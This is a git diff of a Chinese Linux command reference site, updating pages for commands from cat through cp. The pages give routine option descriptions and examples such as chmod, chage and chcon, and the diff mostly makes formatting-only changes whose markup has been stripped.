    - - + + \ No newline at end of file diff --git a/c/cat.html b/c/cat.html index 8e9a8f0ed3..7265ef8c9c 100644 --- a/c/cat.html +++ b/c/cat.html @@ -9,7 +9,7 @@ cat 命令,Linux cat 命令详解:连接多个文件并打印到标准输出。 - Linux 命令搜索引擎 - + @@ -132,17 +132,17 @@ customElements.define('markdown-style', MarkdownStyle); -A, --show-all 等价于"-vET"组合选项。 -b, --number-nonblank 只对非空行编号,从1开始编号,覆盖"-n"选项。 --e 等价于"-vE"组合选项。 +-e 等价于"-vE"组合选项。 -E, --show-ends 在每行的结尾显示'$'字符。 --n, --number 对所有行编号,从1开始编号。 +-n, --number 对所有行编号,从1开始编号。 -s, --squeeze-blank 压缩连续的空行到一行。 --t 等价于"-vT"组合选项。 +-t 等价于"-vT"组合选项。 -T, --show-tabs 使用"^I"表示TAB(制表符)。 --u POSIX兼容性选项,无意义。 +-u POSIX兼容性选项,无意义。 -v, --show-nonprinting 使用"^""M-"符号显示控制字符,除了LFD(line feed,即换行符'\n')和TAB(制表符)。 ---help 显示帮助信息并退出。 ---version 显示版本信息并退出。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。
    # 合并显示多个文件 cat ./1.log ./2.log ./3.log # 显示文件中的非打印字符、tab、换行符 -cat -A test.log +cat -A test.log # 压缩文件的空行 -cat -s test.log +cat -s test.log # 显示文件并在所有行开头附加行号 -cat -n test.log +cat -n test.log # 显示文件并在所有非空行开头附加行号 -cat -b test.log +cat -b test.log # 将标准输入的内容和文件内容一并显示 echo '######' |cat - test.log
    Question about LFD key - - + + \ No newline at end of file diff --git a/c/cd.html b/c/cd.html index 41ad7b0f30..5bd97c36e0 100644 --- a/c/cd.html +++ b/c/cd.html @@ -9,7 +9,7 @@ cd 命令,Linux cd 命令详解:切换用户当前工作目录。 - Linux 命令搜索引擎 - + @@ -130,8 +130,8 @@ customElements.define('markdown-style', MarkdownStyle);参数

    dir(可选):指定要切换到的目录。

    选项

    -
    -L (默认值)如果要切换到的目标目录是一个符号连接,那么切换到符号连接的目录。
    --P 如果要切换到的目标目录是一个符号连接,那么切换到它指向的物理位置目录。
    +
    -L (默认值)如果要切换到的目标目录是一个符号连接,那么切换到符号连接的目录。
    +-P 如果要切换到的目标目录是一个符号连接,那么切换到它指向的物理位置目录。
     -  当前工作目录将被切换到环境变量OLDPWD所表示的目录,也就是前一个工作目录。
     

    关于cdable_vars

    # 打开选项。
    -shopt -s cdable_vars
    +shopt -s cdable_vars
     # 假设当前路径以及CDPATH没有名为new_var的目录。
     new_var='~/Desktop'
     # 尝试进入。
     cd new_var
     # 关闭选项。
    -shopt -u cdable_vars
    +shopt -u cdable_vars
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -285,7 +285,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/cdrecord.html b/c/cdrecord.html index e44c1a9359..09b80f7df4 100644 --- a/c/cdrecord.html +++ b/c/cdrecord.html @@ -9,7 +9,7 @@ cdrecord 命令,Linux cdrecord 命令详解:Linux系统下光盘刻录功能命令 - Linux 命令搜索引擎 - + @@ -137,7 +137,7 @@ dev=<刻录机设备号>:指定使用“-scanbus”参数扫描到的刻录机

    ISO文件:指定刻录光盘使用的ISO映像文件。

    实例

    查看系统所有 CD-R(w) 设备:

    -
    cdrecord -scanbus
    +
    cdrecord -scanbus
     scsibus0:
       0,0,0     0) *
       0,1,0     1) *
    @@ -151,7 +151,7 @@ scsibus0:
       0,3,0     3) 'HP      ' 'CD-Writer+ 9200 ' '1.0c' Removable CD-ROM
     " class="copied">

    用iso文件刻录一张光盘:

    -
    cdrecord -v -eject speed=4 dev=0,3,0 backup.iso
    +
    cdrecord -v -eject speed=4 dev=0,3,0 backup.iso
     

    参数解释

    @@ -161,10 +161,10 @@ scsibus0:
  • speed=4 dev=0,3,0:四速刻录到HP CD-writer设备上。
  • 擦写光驱:

    -
    cdrecord --dev=0,3,0 --blank=fast
    +
    cdrecord --dev=0,3,0 --blank=fast
     
    - - + + \ No newline at end of file diff --git a/c/chage.html b/c/chage.html index daf5285429..2794974aaa 100644 --- a/c/chage.html +++ b/c/chage.html @@ -9,7 +9,7 @@ chage 命令,Linux chage 命令详解:修改帐号和密码的有效期限 - Linux 命令搜索引擎 - + @@ -168,7 +168,7 @@ CREATE_MAIL_SPOOL=yes " class="copied">

    通过修改配置文件,能对之后新建用户起作用,而目前系统已经存在的用户,则直接用chage来配置。

    我的服务器root帐户密码策略信息如下:

    -
    chage -l root
    +
    chage -l root
     
     最近一次密码修改时间                  : 312, 2013
     密码过期时间                         :从不
    @@ -188,8 +188,8 @@ CREATE_MAIL_SPOOL=yes
     在密码过期之前警告的天数               :7
     " class="copied">

    我可以通过如下命令修改我的密码过期时间:

    -
    chage -M 60 root
    -chage -l root
    +
    chage -M 60 root
    +chage -l root
     
     最近一次密码修改时间                  : 312, 2013
     密码过期时间                         : 511, 2013
    @@ -210,8 +210,8 @@ chage -l root
     在密码过期之前警告的天数               :9
     " class="copied">

    然后通过如下命令设置密码失效时间:

    -
    chage -I 5 root
    -chage -l root
    +
    chage -I 5 root
    +chage -l root
     
     最近一次密码修改时间                  : 312, 2013
     密码过期时间                         : 511, 2013
    @@ -232,7 +232,7 @@ chage -l root
     在密码过期之前警告的天数               :9
     " class="copied">

    从上述命令可以看到,在密码过期后5天,密码自动失效,这个用户将无法登陆系统了。

    - - + + \ No newline at end of file diff --git a/c/chattr.html b/c/chattr.html index 1506114a99..5875b59bc5 100644 --- a/c/chattr.html +++ b/c/chattr.html @@ -9,7 +9,7 @@ chattr 命令,Linux chattr 命令详解:用来改变文件属性 - Linux 命令搜索引擎 - + @@ -162,7 +162,7 @@ u:预防意外删除。
    chattr +a /data1/user_act.log
     
    - - + + \ No newline at end of file diff --git a/c/chcon.html b/c/chcon.html index 29cd5e999a..3dd3caa3a8 100644 --- a/c/chcon.html +++ b/c/chcon.html @@ -9,7 +9,7 @@ chcon 命令,Linux chcon 命令详解:修改对象(文件)的安全上下文 - Linux 命令搜索引擎 - + @@ -120,20 +120,20 @@ customElements.define('markdown-style', MarkdownStyle);语法
    chcon [选项]... 环境 文件...
     chcon [选项]... [-u 用户] [-r 角色] [-l 范围] [-t 类型] 文件...
    -chcon [选项]... --reference=参考文件 文件...
    +chcon [选项]... --reference=参考文件 文件...
     

    选项

    -h, --no-dereference:影响符号连接而非引用的文件。
    -    --reference=参考文件:使用指定参考文件的安全环境,而非指定值。
    +    --reference=参考文件:使用指定参考文件的安全环境,而非指定值。
     -R, --recursive:递归处理所有的文件及子目录。
     -v, --verbose:为处理的所有文件显示诊断信息。
    --u, --user=用户:设置指定用户的目标安全环境。
    --r, --role=角色:设置指定角色的目标安全环境。
    --t, --type=类型:设置指定类型的目标安全环境。
    --l, --range=范围:设置指定范围的目标安全环境。
    +-u, --user=用户:设置指定用户的目标安全环境。
    +-r, --role=角色:设置指定角色的目标安全环境。
    +-t, --type=类型:设置指定类型的目标安全环境。
    +-l, --range=范围:设置指定范围的目标安全环境。
     

    实例

    如果你想把这个ftp共享给匿名用户的话,需要开启以下:

    -
    chcon -R -t public_content_t /var/ftp
    +
    chcon -R -t public_content_t /var/ftp
     

    如果你想让你设置的FTP目录可以上传文件的话,SELINUX需要设置:

    -
    chcon -t public_content_rw_t /var/ftp/incoming
    +
    chcon -t public_content_rw_t /var/ftp/incoming
     

    允许用户HHTP访问其家目录,该设定限仅于用户的家目录主页:

    -
    setsebool -P httpd_enable_homedirs 1
    -chcon -R -t httpd_sys_content_t ~user/public_html
    +
    setsebool -P httpd_enable_homedirs 1
    +chcon -R -t httpd_sys_content_t ~user/public_html
     

    如果你希望将samba目录共享给其他用户,你需要设置:

    -
    chcon -t samba_share_t /directory
    +
    chcon -t samba_share_t /directory
     

    共享rsync目录时:

    -
    chcon -t public_content_t /directories
    +
    chcon -t public_content_t /directories
     
    - - + + \ No newline at end of file diff --git a/c/chfn.html b/c/chfn.html index 6b9631080c..f81ebd40bc 100644 --- a/c/chfn.html +++ b/c/chfn.html @@ -9,7 +9,7 @@ chfn 命令,Linux chfn 命令详解:用来改变finger命令显示的信息 - Linux 命令搜索引擎 - + @@ -180,7 +180,7 @@ Office[]:NCCU Office Phone[]: [del] Home Phone[]: [del] " class="copied">
    - - + + \ No newline at end of file diff --git a/c/chgrp.html b/c/chgrp.html index c4e906f3a3..0a5ff09f12 100644 --- a/c/chgrp.html +++ b/c/chgrp.html @@ -9,7 +9,7 @@ chgrp 命令,Linux chgrp 命令详解:用来变更文件或目录的所属群组 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);

    选项

    -
    -R 递归式地改变指定目录及其下的所有子目录和文件的所属的组
    +
    -R 递归式地改变指定目录及其下的所有子目录和文件的所属的组
     -c或——changes:效果类似“-v”参数,但仅回报更改的部分;
     -f或--quiet或——silent:不显示错误信息;
     -h或--no-dereference:只对符号连接的文件作修改,而不是该其他任何相关文件;
    @@ -132,7 +132,7 @@ customElements.define('markdown-style', MarkdownStyle);-L遍历每一个遇到的通到目录的符号链接
     -P不遍历任何符号链接(默认)
     -v或——verbose:显示指令执行过程;
    ---reference=<参考文件或目录>:把指定文件或目录的所属群组全部设成和参考文件或目录的所属群组相同;
    +--reference=<参考文件或目录>:把指定文件或目录的所属群组全部设成和参考文件或目录的所属群组相同;
     
    实例

    /usr/meng及其子目录下的所有文件的用户组改为mengxin

    -
    chgrp -R mengxin /usr/meng
    +
    chgrp -R mengxin /usr/meng
     

    更改文件ah的组群所有者为 newuser

    [root@rhel ~]# chgrp newuser ah
     
    - - + + \ No newline at end of file diff --git a/c/chkconfig.html b/c/chkconfig.html index 947be35bfe..850844f431 100644 --- a/c/chkconfig.html +++ b/c/chkconfig.html @@ -9,7 +9,7 @@ chkconfig 命令,Linux chkconfig 命令详解:检查或设置系统的各种服务 - Linux 命令搜索引擎 - + @@ -161,13 +161,13 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    -
    chkconfig --list             #列出所有的系统服务。
    -chkconfig --add httpd        #增加httpd服务。
    -chkconfig --del httpd        #删除httpd服务。
    -chkconfig --level httpd 2345 on        #设置httpd在运行级别为2、3、4、5的情况下都是on(开启)的状态。
    -chkconfig --list               # 列出系统所有的服务启动情况。
    -chkconfig --list mysqld        # 列出mysqld服务设置情况。
    -chkconfig --level 35 mysqld on # 设定mysqld在等级3和5为开机运行服务,--level 35表示操作只在等级3和5执行,on表示启动,off表示关闭。
    +
    chkconfig --list             #列出所有的系统服务。
    +chkconfig --add httpd        #增加httpd服务。
    +chkconfig --del httpd        #删除httpd服务。
    +chkconfig --level httpd 2345 on        #设置httpd在运行级别为2、3、4、5的情况下都是on(开启)的状态。
    +chkconfig --list               # 列出系统所有的服务启动情况。
    +chkconfig --list mysqld        # 列出mysqld服务设置情况。
    +chkconfig --level 35 mysqld on # 设定mysqld在等级3和5为开机运行服务,--level 35表示操作只在等级3和5执行,on表示启动,off表示关闭。
     chkconfig mysqld on            # 设定mysqld在各等级为on,“各等级”包括2、3、4、5等级。
     
     chkconfig –level redis 2345 on # 把redis在运行级别为2、3、4、5的情况下都是on(开启)的状态。
    @@ -188,7 +188,7 @@ chkconfig –level redis 2345 on # 把redis在运行级别为2、3、4、5的情
       
  • chkconfig --add servicename在chkconfig工具服务列表中增加此服务,此时服务会被在/etc/rc.d/rcN.d中赋予K/S入口了;
  • chkconfig --level 35 mysqld on修改服务的默认启动等级。
  • - - + + \ No newline at end of file diff --git a/c/chmod.html b/c/chmod.html index 6310d66709..128a1db510 100644 --- a/c/chmod.html +++ b/c/chmod.html @@ -9,7 +9,7 @@ chmod 命令,Linux chmod 命令详解:用来变更文件或目录的权限 - Linux 命令搜索引擎 - + @@ -118,7 +118,7 @@ customElements.define('markdown-style', MarkdownStyle);概要
    chmod [OPTION]... MODE[,MODE]... FILE...
     chmod [OPTION]... OCTAL-MODE FILE...
    -chmod [OPTION]... --reference=RFILE FILE...
    +chmod [OPTION]... --reference=RFILE FILE...
     
    --preserve-root:不能在根目录下递归操作。 -f, --silent, --quiet:抑制多数错误消息的输出。 -v, --verbose:无论文件是否更改了权限,一律输出操作信息。 ---reference=RFILE:使用参考文件或参考目录RFILE的权限来设置目标文件或目录的权限。 +--reference=RFILE:使用参考文件或参考目录RFILE的权限来设置目标文件或目录的权限。 -R, --recursive:对目录以及目录下的文件递归执行更改权限操作。 --help:显示帮助信息并退出。 --version:显示版本信息并退出。 @@ -176,7 +176,7 @@ chmod [OPTION]... --reference=RFILE FILE...
    linux文件的用户权限说明:
     
     # 查看当前目录(包含隐藏文件)的长格式。
    -ls -la
    +ls -la
       -rw-r--r--   1 user  staff   651 Oct 12 12:53 .gitmodules
     
     # 第1位如果是d则代表目录,是-则代表普通文件。
    @@ -208,9 +208,9 @@ ls -la
     chmod 764 ./test.log
     # 将目录以及目录下的文件都设置为所有用户拥有读写权限。
     # 注意,使用'-R'选项一定要保留当前用户的执行和读取权限,否则会报错!
    -chmod -R a=rw ./testdir/
    +chmod -R a=rw ./testdir/
     # 根据其他文件的权限设置文件权限。
    -chmod --reference=./1.log  ./test.log
    +chmod --reference=./1.log  ./test.log
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -310,7 +310,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/chown.html b/c/chown.html index dcdfeb354e..3615dc8564 100644 --- a/c/chown.html +++ b/c/chown.html @@ -9,7 +9,7 @@ chown 命令,Linux chown 命令详解:用来变更文件或目录的拥有者或所属群组 - Linux 命令搜索引擎 - + @@ -130,7 +130,7 @@ customElements.define('markdown-style', MarkdownStyle);-v或——version:显示指令执行过程; --dereference:效果和“-h”参数相同; --help:在线帮助; ---reference=<参考文件或目录>:把指定文件或目录的拥有者与所属群组全部设成和参考文件或目录的拥有者与所属群组相同; +--reference=<参考文件或目录>:把指定文件或目录的拥有者与所属群组全部设成和参考文件或目录的拥有者与所属群组相同; --version:显示版本信息。
    实例

    将目录/usr/meng及其下面的所有文件、子目录的文件主改成 liu:

    -
    chown -R liu /usr/meng
    +
    chown -R liu /usr/meng
     
    - - + + \ No newline at end of file diff --git a/c/chpasswd.html b/c/chpasswd.html index 62037a8787..398f8a603d 100644 --- a/c/chpasswd.html +++ b/c/chpasswd.html @@ -9,7 +9,7 @@ chpasswd 命令,Linux chpasswd 命令详解:批量更新用户口令的工具 - Linux 命令搜索引擎 - + @@ -135,7 +135,7 @@ customElements.define('markdown-style', MarkdownStyle);

    以上是运用chpasswd命令来批量修改密码。是linux系统管理中的捷径。

    - - + + \ No newline at end of file diff --git a/c/chroot.html b/c/chroot.html index 03c93f30bb..992560f569 100644 --- a/c/chroot.html +++ b/c/chroot.html @@ -9,7 +9,7 @@ chroot 命令,Linux chroot 命令详解:把根目录换成指定的目的目录 - Linux 命令搜索引擎 - + @@ -199,7 +199,7 @@ cp /lib/ld-linux.so.2 newRoot/lib chroot newRoot /a.out " class="copied">

    这样就能够正确运行a.out了,因为a.out使用到了其他的动态连接库,所以需要将库拷贝到newRoot中,如果没有其他库那么直接拷贝a.out就能运行。例如静态编译后的busybox,其安装目录中的/bin/busybox就没有依赖其他库。

    - - + + \ No newline at end of file diff --git a/c/chsh.html b/c/chsh.html index 18f1b8fd6e..0cad009434 100644 --- a/c/chsh.html +++ b/c/chsh.html @@ -9,7 +9,7 @@ chsh 命令,Linux chsh 命令详解:用来更换登录系统时使用的shell - Linux 命令搜索引擎 - + @@ -136,7 +136,7 @@ customElements.define('markdown-style', MarkdownStyle);实例

    查看系统安装了哪些shell的两种方法:

    第一种:

    -
    [rocrocket@localhost ~]$ chsh -l
    +
    [rocrocket@localhost ~]$ chsh -l
     /bin/sh
     /bin/bash
     /sbin/nologin
    @@ -168,7 +168,7 @@ customElements.define('markdown-style', MarkdownStyle);

    注意SHELL一定要是大写。可以看到,目前使用的shell是/bin/bash

    把我的shell改成zsh:

    -
    [rocrocket@localhost ~]$ chsh -s /bin/zsh
    +
    [rocrocket@localhost ~]$ chsh -s /bin/zsh
     Changing shell for rocrocket.
     Password:
     Shell changed.
    @@ -187,7 +187,7 @@ rocrocket:x:500:500:rocrocket,China:/rocrocket/PSB/home:/bin/zsh
     " class="copied">

    你可以发现输出内容的最后部分已经变成了/bin/zsh了,下次重启的时候,linux就会读取这一命令来启动shell了!

    把shell修改回/bin/bash:

    -
    [rocrocket@localhost ~]$ chsh -s /bin/bash
    +
    [rocrocket@localhost ~]$ chsh -s /bin/bash
     Changing shell for rocrocket.
     Password:
     Shell changed.
    @@ -196,7 +196,7 @@ Changing shell for rocrocket.
     Password:
     Shell changed.
     " class="copied">
    - - + + \ No newline at end of file diff --git a/c/cksum.html b/c/cksum.html index 34e3a88acf..a569ee56ef 100644 --- a/c/cksum.html +++ b/c/cksum.html @@ -9,7 +9,7 @@ cksum 命令,Linux cksum 命令详解:检查文件的CRC是否正确 - Linux 命令搜索引擎 - + @@ -142,7 +142,7 @@ customElements.define('markdown-style', MarkdownStyle);

    上面的输出信息中,"1263453430"表示校验码,"78"表示字节数。

    注意:如果文件中有任何字符被修改,都将改变计算后CRC校验码的值。

    - - + + \ No newline at end of file diff --git a/c/clear.html b/c/clear.html index 0835947627..102e5c6569 100644 --- a/c/clear.html +++ b/c/clear.html @@ -9,7 +9,7 @@ clear 命令,Linux clear 命令详解:清除当前屏幕终端上的任何信息 - Linux 命令搜索引擎 - + @@ -123,7 +123,7 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    直接输入clear命令当前终端上的任何信息就可被清除。

    - - + + \ No newline at end of file diff --git a/c/clock.html b/c/clock.html index 0644a5bc29..3bec392ea0 100644 --- a/c/clock.html +++ b/c/clock.html @@ -9,7 +9,7 @@ clock 命令,Linux clock 命令详解:用于调整 RTC 时间 - Linux 命令搜索引擎 - + @@ -118,24 +118,24 @@ customElements.define('markdown-style', MarkdownStyle);补充说明

    clock命令用于调整 RTC 时间。 RTC 是电脑内建的硬件时间,执行这项指令可以显示现在时刻,调整硬件时钟的时间,将系统时间设成与硬件时钟之时间一致,或是把系统时间回存到硬件时钟。

    语法

    -
    clock [--adjust][--debug][--directisa][--getepoch][--hctosys][--set --date="<日期时间>"]
    -[--setepoch --epoch=< >][--show][--systohc][--test][--utc][--version]
    +
    clock [--adjust][--debug][--directisa][--getepoch][--hctosys][--set --date="<日期时间>"]
    +[--setepoch --epoch=< >][--show][--systohc][--test][--utc][--version]
     

    选项

    -
    --adjust  第一次使用"--set""--systohc"参数设置硬件时钟,会在/etc目录下产生一个名称为adjtime的文件。当再次使用这两个参数调整硬件时钟,此文件便会记录两次调整间之差异,日后执行clock指令加上"--adjust"参数时,程序会自动根 据记录文件的数值差异,计算出平均值,自动调整硬件时钟的时间。
    ---debug  详细显示指令执行过程,便于排错或了解程序执行的情形。
    ---directisa  告诉clock指令不要通过/dev/rtc设备文件,直接对硬件时钟进行存取。这个参数适用于仅有ISA总线结构的老式电脑。
    ---getepoch  把系统核心内的硬件时钟新时代数值,呈现到标准输出设备。
    ---hctosys  Hardware Clock to System Time,把系统时间设成和硬件时钟一致。由于这个动作将会造成系统全面更新文件的存取时间,所以最好在系统启动时就执行它。
    +
    --adjust  第一次使用"--set""--systohc"参数设置硬件时钟,会在/etc目录下产生一个名称为adjtime的文件。当再次使用这两个参数调整硬件时钟,此文件便会记录两次调整间之差异,日后执行clock指令加上"--adjust"参数时,程序会自动根 据记录文件的数值差异,计算出平均值,自动调整硬件时钟的时间。
    +--debug  详细显示指令执行过程,便于排错或了解程序执行的情形。
    +--directisa  告诉clock指令不要通过/dev/rtc设备文件,直接对硬件时钟进行存取。这个参数适用于仅有ISA总线结构的老式电脑。
    +--getepoch  把系统核心内的硬件时钟新时代数值,呈现到标准输出设备。
    +--hctosys  Hardware Clock to System Time,把系统时间设成和硬件时钟一致。由于这个动作将会造成系统全面更新文件的存取时间,所以最好在系统启动时就执行它。
     --set--date  设置硬件时钟的日期和时间。
     --setepoch--epoch=<年份>  设置系统核心之硬件时钟的新时代数值,年份以四位树字表示。
    ---show  读取硬件时钟的时间,并将其呈现至标准输出设备。
    ---systohc  System Time to Hardware Clock,将系统时间存回硬件时钟内。
    ---test  仅作测试,并不真的将时间写入硬件时钟或系统时间。
    ---utc  把硬件时钟上的时间时为CUT,有时也称为UTC或UCT。
    ---version  显示版本信息。
    +--show  读取硬件时钟的时间,并将其呈现至标准输出设备。
    +--systohc  System Time to Hardware Clock,将系统时间存回硬件时钟内。
    +--test  仅作测试,并不真的将时间写入硬件时钟或系统时间。
    +--utc  把硬件时钟上的时间时为CUT,有时也称为UTC或UCT。
    +--version  显示版本信息。
     

    显示UTC时间

    -
    clock -utc #显示UTC时间
    +
    clock -utc #显示UTC时间
     
    - - + + \ No newline at end of file diff --git a/c/clockdiff.html b/c/clockdiff.html index 9c0d32b6b7..1d41ed949d 100644 --- a/c/clockdiff.html +++ b/c/clockdiff.html @@ -9,7 +9,7 @@ clockdiff 命令,Linux clockdiff 命令详解:检测两台linux主机的时间差 - Linux 命令搜索引擎 - + @@ -124,13 +124,13 @@ customElements.define('markdown-style', MarkdownStyle);

    实例

    -
    lixi@lixi-desktop:~$ ping -T tsandaddr www.ustc.edu.cn -c 1
    +
    lixi@lixi-desktop:~$ ping -T tsandaddr www.ustc.edu.cn -c 1
     PING www.ustc.edu.cn (202.38.64.9) 56(124) bytes of data.
     64 bytes from 202.38.64.9: icmp_seq=1 ttl=62 time=0.823 ms
     TS:     lixi-desktop.local (210.45.74.25)    12522473 absolute
    -    210.45.74.1    -251
    +    210.45.74.1    -251
         local-gw.ustc.edu.cn (202.38.64.126)    248
    -    202.38.64.9    -857514
    +    202.38.64.9    -857514
     Unrecorded hops: 3
     
     --- www.ustc.edu.cn ping statistics ---
    @@ -173,7 +173,7 @@ host=202.38.64.9 rtt=750(187)ms/0ms delta=-857517ms/-857517ms Wed Dec 17 11:28:3
     host=gigagate1.Princeton.EDU rtt=307(21)ms/271ms delta=-5ms/-5ms Wed Dec 17 11:50:16 2008
     " class="copied">

    上面是测试一个RTT较大的目的主机和本地主机的系统时间差。不过在使用clockdiff的时候,需要一点运气,因为很多路由会忽略ICMP或IP时间戳。

    - - + + \ No newline at end of file diff --git a/c/cmp.html b/c/cmp.html index e77ae1f5bd..62b846a695 100644 --- a/c/cmp.html +++ b/c/cmp.html @@ -9,7 +9,7 @@ cmp 命令,Linux cmp 命令详解:比较两个文件是否有差异 - Linux 命令搜索引擎 - + @@ -169,7 +169,7 @@ Jslkadjls 85 testfile testfile1 #有差异:第8字节,第2行 " class="copied">

    注意:在比较结果中,只能够显示第一比较结果。

    - - + + \ No newline at end of file diff --git a/c/col.html b/c/col.html index 753555474c..aa0e8b14eb 100644 --- a/c/col.html +++ b/c/col.html @@ -9,7 +9,7 @@ col 命令,Linux col 命令详解:过滤控制字符 - Linux 命令搜索引擎 - + @@ -131,7 +131,7 @@ customElements.define('markdown-style', MarkdownStyle);:预设的内存缓冲区有128列,用户可以自行指定缓冲区的大小。 " class="copied">
    - - + + \ No newline at end of file diff --git a/c/colrm.html b/c/colrm.html index 0e166e0af4..b98545a517 100644 --- a/c/colrm.html +++ b/c/colrm.html @@ -9,7 +9,7 @@ colrm 命令,Linux colrm 命令详解:删除文件中的指定列 - Linux 命令搜索引擎 - + @@ -126,7 +126,7 @@ customElements.define('markdown-style', MarkdownStyle);起始列号:指定要删除的指定列;
  • 结尾列号:指定要删除的结尾列。
  • - - + + \ No newline at end of file diff --git a/c/comm.html b/c/comm.html index 241fa98d27..37ca8393f9 100644 --- a/c/comm.html +++ b/c/comm.html @@ -9,7 +9,7 @@ comm 命令,Linux comm 命令详解:按行比较两个已排序的文件。 - Linux 命令搜索引擎 - + @@ -126,16 +126,16 @@ customElements.define('markdown-style', MarkdownStyle);无选项时输出三列,第一列为FILE1独有的行,第二列为FILE2独有的行,第三列为FILE1FILE2共有的行。

    选项

    -
    -1                        不输出第一列。
    --2                        不输出第二列。
    --3                        不输出第三列。
    +
    -1                        不输出第一列。
    +-2                        不输出第二列。
    +-3                        不输出第三列。
     --check-order             检查输入行是否正确的排序,即使它们确实是已排序过的。
     --nocheck-order           不检查输入行是否正确的排序。
     --output-delimiter=STR    使用STR作为输出列之间的分隔符而不是默认的TAB。
    ---total                   额外地增加第四列输出概要。
    +--total                   额外地增加第四列输出概要。
     -z, --zero-terminated     设置行终止符为NUL(空),而不是换行符。
    ---help                    显示帮助信息并退出。
    ---version                 显示版本信息并退出。
    +--help                    显示帮助信息并退出。
    +--version                 显示版本信息并退出。
     
    0&&document.getSelection().getRangeAt(0);o.select();let c=!1;try{c=!!document.execCommand("copy")}catch(e){c=!1}document.body.removeChild(o),n&&document.getSelection&&(document.getSelection().removeAllRanges(),document.getSelection().addRange(n)),t&&t(c)}})); @@ -354,7 +354,7 @@ function copied(target, str) { 581 个Linux命令,超过 50+ 贡献者
    - - + + \ No newline at end of file diff --git a/c/command.html b/c/command.html index 1a5599bc9f..d7cc74c4b2 100644 --- a/c/command.html +++ b/c/command.html @@ -9,7 +9,7 @@ command 命令,Linux command 命令详解:调用并执行指定的命令 - Linux 命令搜索引擎 - + @@ -132,7 +132,7 @@ customElements.define('markdown-style', MarkdownStyle);Linux
    - - + + \ No newline at end of file diff --git a/c/compress.html b/c/compress.html index 092a962283..542670fe28 100644 --- a/c/compress.html +++ b/c/compress.html @@ -9,7 +9,7 @@ compress 命令,Linux compress 命令详解:使用Lempress-Ziv编码压缩数据文件 - Linux 命令搜索引擎 - + @@ -169,7 +169,7 @@ customElements.define('markdown-style', MarkdownStyle);

    这个-c的选项比较有趣!会将压缩过程的资料输出到屏幕上,而不是写入成为file.Z文件。所以,我们可以透过资料流重导向的方法将资料输出成为另一个档名。

    - - + + \ No newline at end of file diff --git a/c/consoletype.html b/c/consoletype.html index 2e8b6e7079..a4f7697e83 100644 --- a/c/consoletype.html +++ b/c/consoletype.html @@ -9,7 +9,7 @@ consoletype 命令,Linux consoletype 命令详解:输出已连接的终端类型 - Linux 命令搜索引擎 - + @@ -127,7 +127,7 @@ customElements.define('markdown-style', MarkdownStyle);
    - - + + \ No newline at end of file diff --git a/c/continue.html b/c/continue.html index a07b792ea5..98a0f736e8 100644 --- a/c/continue.html +++ b/c/continue.html @@ -9,7 +9,7 @@ continue 命令,Linux continue 命令详解:结束本次循环,继续执行下一个for,while或until循环。 - Linux 命令搜索引擎 - + @@ -198,7 +198,7 @@ done
    1. 该命令是bash内建命令,相关的帮助信息请查看help命令。
    - - + + \ No newline at end of file diff --git a/c/convertquota.html b/c/convertquota.html index 4b06866db3..d8480c8714 100644 --- a/c/convertquota.html +++ b/c/convertquota.html @@ -9,7 +9,7 @@ convertquota 命令,Linux convertquota 命令详解:把老的配额文件转换为新的格式 - Linux 命令搜索引擎 - + @@ -135,10 +135,10 @@ customElements.define('markdown-style', MarkdownStyle);文件系统:指定要转换磁盘配额数据文件格式的文件系统(硬盘分区)。

    实例

    使用convertquota指令转换指定文件系统/data的磁盘配额数据文件。在命令行中输入下面的命令:

    -
    convertquota -u /data     //转换文件系统"/data"上的用户磁盘配额文件
    +
    convertquota -u /data     //转换文件系统"/data"上的用户磁盘配额文件
     
    - - + + \ No newline at end of file diff --git a/c/cp.html b/c/cp.html index c3d193193b..28c30cb0fb 100644 --- a/c/cp.html +++ b/c/cp.html @@ -9,7 +9,7 @@ cp 命令,Linux cp 命令详解:将源文件或目录复制到目标文件或目录中 - Linux 命令搜索引擎 - + @@ -155,11 +155,11 @@ customElements.define('markdown-style', MarkdownStyle);实例

    下面的第一行中是 cp 命令和具体的参数(-r 是“递归”, -u 是“更新”,-v 是“详细”)。接下来的三行显示被复制文件的信息,最后一行显示命令行提示符。这样,只拷贝新的文件到我的存储设备上,我就使用 cp 的“更新”和“详细”选项。

    通常来说,参数 -r 也可用更详细的风格 --recursive。但是以简短的方式,也可以这么连用 -ruv

    -
    cp -r -u -v /usr/men/tmp ~/men/tmp
    +
    cp -r -u -v /usr/men/tmp ~/men/tmp
     

    版本备份 --backup=numbered 参数意思为“我要做个备份,而且是带编号的连续备份”。所以一个备份就是 1 号,第二个就是 2 号,等等。

    -
    $ cp --force --backup=numbered test1.py test1.py
    +
    $ cp --force --backup=numbered test1.py test1.py
     $ ls
     test1.py test1.py.~1~ test1.py.~2~
     

    将目录/usr/men下的所有文件及其子目录复制到目录/usr/zh

    -
    cp -r /usr/men /usr/zh
    +
    cp -r /usr/men /usr/zh
     

    交互式地将目录/usr/men中的以m打头的所有.c文件复制到目录/usr/zh

    -
    cp -i /usr/men m*.c /usr/zh
    +
    cp -i /usr/men m*.c /usr/zh
     

    我们在Linux下使用cp命令复制文件时候,有时候会需要覆盖一些同名文件,覆盖文件的时候都会有提示:需要不停的按Y来确定执行覆盖。文件数量不多还好,但是要是几百个估计按Y都要吐血了,于是折腾来半天总结了一个方法:

    cp aaa/* /bbb
     # 复制目录aaa下所有到/bbb目录下,这时如果/bbb目录下有和aaa同名的文件,需要按Y来确认并且会略过aaa目录下的子目录。
     
    -cp -r aaa/* /bbb
    +cp -r aaa/* /bbb
     # 这次依然需要按Y来确认操作,但是没有忽略子目录。
     
    -cp -r -a aaa/* /bbb
    +cp -r -a aaa/* /bbb
